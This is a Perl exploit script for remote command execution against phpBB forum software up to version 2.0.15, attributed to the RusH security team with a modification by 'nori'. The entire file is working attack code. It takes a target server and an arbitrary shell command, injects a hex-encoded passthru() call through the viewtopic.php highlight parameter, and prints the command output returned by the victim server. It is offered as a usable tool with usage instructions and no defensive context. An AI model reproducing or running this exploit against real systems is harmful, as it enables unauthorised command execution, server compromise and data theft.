#!/usr/bin/perl use IO::Socket; ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ if (@ARGV < 4) { print q(############################################################ phpBB <=2.0.15 remote command execution exploit by RusH security team // www.rst.void.ru Littttttttttle modificated by nori! r57 respect! ############################################################ usage: r57phpbb2010.pl [URL] [DIR] [NUM] [CMD] params: [URL] - server url e.g. www.phpbb.com [DIR] - directory where phpBB installed e.g. /phpBB/ or / [NUM] - number of existing topic [CMD] - command for execute e.g. ls or "ls -la" ############################################################ ); exit; } $serv = $ARGV[0]; $dir = $ARGV[1]; $topic = $ARGV[2]; $cmd = $ARGV[3]; $serv =~ s/(http:\/\/)//eg; print "*** CMD: [ $cmd ]\r\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; $cmd=~ s/(.*);$/$1/eg; $cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $path = $dir; $path .= 'viewtopic.php?t='; $path .= $topic; $path .= '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20'; $path .= $cmd; $path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F'; $path .= '&highlight=%27.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%27'; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-] CONNECT FAILED\r\n"; print $socket "GET $path HTTP/1.1\n"; print $socket "Host: $serv\n"; print $socket "Accept: */*\n"; print $socket "Connection: close\n\n"; $on = 0; while ($answer = <$socket>) { if ($answer =~ /^_END_/) { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; exit(); } if ($on == 1) { print " $answer"; } if ($answer =~ /^_START_/) { $on = 1; } } print "[-] EXPLOIT FAILED\r\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; ### EOF ###